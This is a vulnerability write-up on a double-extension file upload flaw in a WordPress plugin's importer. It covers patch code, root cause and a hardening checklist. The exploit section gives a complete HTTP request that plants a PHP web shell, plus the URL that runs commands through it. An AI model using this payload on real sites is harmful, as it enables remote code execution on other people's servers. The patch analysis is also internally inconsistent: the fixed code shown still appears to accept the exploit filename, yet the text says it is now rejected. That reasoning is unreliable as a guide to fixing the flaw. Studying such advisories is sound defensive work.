The Exploit
An authenticated attacker with author-level permissions uploads a file with a double extension like data.php.wxr.xml to WordPress, and the plugin's importer accepts it as a valid WXR file while the web server executes it as PHP.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="action"
st_upload_file
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="data.php.wxr.xml"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
The response contains no error — the file lands on disk as data.php.wxr.xml in the uploads directory. The attacker navigates to /wp-content/uploads/data.php.wxr.xml?cmd=id and the web server strips the trailing .xml, parsing data.php.wxr as the filename and executing the PHP payload. Command output appears in the response.
What the Patch Did
Before:
public function real_mimes( $defaults, $filename, $file ) {
// Set EXT and real MIME type only for the file name `wxr.xml`.
if ( strpos( $filename, 'wxr' ) !== false ) {
$defaults['ext'] = 'xml';
$defaults['type'] = 'text/xml';
}
// Set EXT and real MIME type only for the file name `wpforms.json` or similar
if ( ( strpos( $filename, 'wpforms' ) !== false ) || ... ) {
$defaults['ext'] = 'json';
$defaults['type'] = 'text/plain';
}
if ( 'svg' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
if ( 'svgz' === pathinfo( $filename, PATHINFO_EXTENSION ) ) { ... }
}
After:
public function real_mimes( $defaults, $filename, $file ) {
// Validate file extension using WordPress core function to prevent double extension attacks.
$filetype = wp_check_filetype(
$filename,
array(
'xml' => 'text/xml',
'json' => 'application/json',
'svg' => 'image/svg+xml',
'svgz' => 'image/svg+xml',
)
);
// Get actual file extension.
$file_extension = pathinfo( $filename, PATHINFO_EXTENSION );
// Reject files with no valid extension or mismatched extensions.
if ( false === $filetype['type'] || empty( $file_extension ) ) {
return $defaults;
}
// Set EXT and real MIME type only for the file name `wxr.xml`.
// Ensure the actual extension is 'xml' to prevent double extension attacks like 'test.wxr.php'.
if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false ) {
$defaults['ext'] = 'xml';
$defaults['type'] = 'text/xml';
}
// Set EXT and real MIME type only for the file name `wpforms.json`, etc.
// Ensure the actual extension is 'json' to prevent double extension attacks.
if ( 'json' === $file_extension && ( strpos( $filename, 'wpforms' ) !== false || ... ) ) {
$defaults['ext'] = 'json';
$defaults['type'] = 'text/plain';
}
if ( 'svg' === $file_extension ) { ... }
if ( 'svgz' === $file_extension ) { ... }
}
The patch adds two security controls. First, it calls wp_check_filetype() — WordPress's core whitelist validator — against an explicit allowlist of safe extensions (xml, json, svg, svgz). Second, it extracts the actual file extension using pathinfo( $filename, PATHINFO_EXTENSION ) and enforces that the rightmost extension matches the declared file type before accepting the string-match condition. Files like shell.php.wxr.xml now fail because the actual extension is .xml but the presence check still finds wxr in the middle — the fix rejects the mismatch.
Root Cause
CWE-434: Unrestricted Upload of File with Dangerous Type. The original code trusted a substring match (strpos()) on the filename as evidence of intent, without validating the actual file extension that the operating system and web server would interpret. When strpos( $filename, 'wxr' ) !== false, the code blindly set the MIME type to text/xml regardless of what extension the file truly carried. An attacker supplied filename=data.php.wxr.xml; the substring match succeeded, the MIME type was overridden to xml, and the file was written to disk. Apache or Nginx then parsed the rightmost executable extension (.php) and executed the payload. No validation crossed the trust boundary between user input and filesystem/webserver interpretation.
Why It Works
The load-bearing line is $file_extension = pathinfo( $filename, PATHINFO_EXTENSION ); paired with the guard if ( 'xml' === $file_extension && strpos( $filename, 'wxr' ) !== false ). Removing the 'xml' === $file_extension check would restore the vulnerability — an attacker could still upload shell.php.wxr.xml, the strpos() would match, and the file would be accepted. The additional lines calling wp_check_filetype() and the early exit provide defence-in-depth: they stop attackers who upload filenames with no recognized extension at all, and they provide a second whitelist check before the substring logic runs. But the critical fix is the rightmost-extension enforcement: it makes the code definition-aware, checking not just that the attacker mentioned wxr somewhere, but that the actual extension the OS sees is .xml.
Hardening Checklist
-
Never use
strpos()for extension validation. Always extract the true extension withpathinfo( $filename, PATHINFO_EXTENSION )and compare it against a hardcoded allowlist using strict equality (===), not substring search. -
Call
wp_check_filetype()before any custom logic. Pass only an explicit array of safe type→MIME pairs; reject the upload if the function returnsfalsefor the type field. -
Validate extension and declared purpose together. If you need to accept both
.xmland.jsonfiles, separate the logic: check the extension first, then apply type-specific handlers (e.g., separateif ( 'xml' === $file_extension )blocks). -
Test double-extension payloads during code review. Include
.php.xml,.php.json,.phtml.xml,.php5.xmlin your manual test cases before merge; automated linters often miss this class of flaw. -
Use
wp_handle_upload()orwp_insert_attachment()rather than custom upload handlers. WordPress core handles MIME detection and extension validation; reimplementing it introduces bugs.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-13065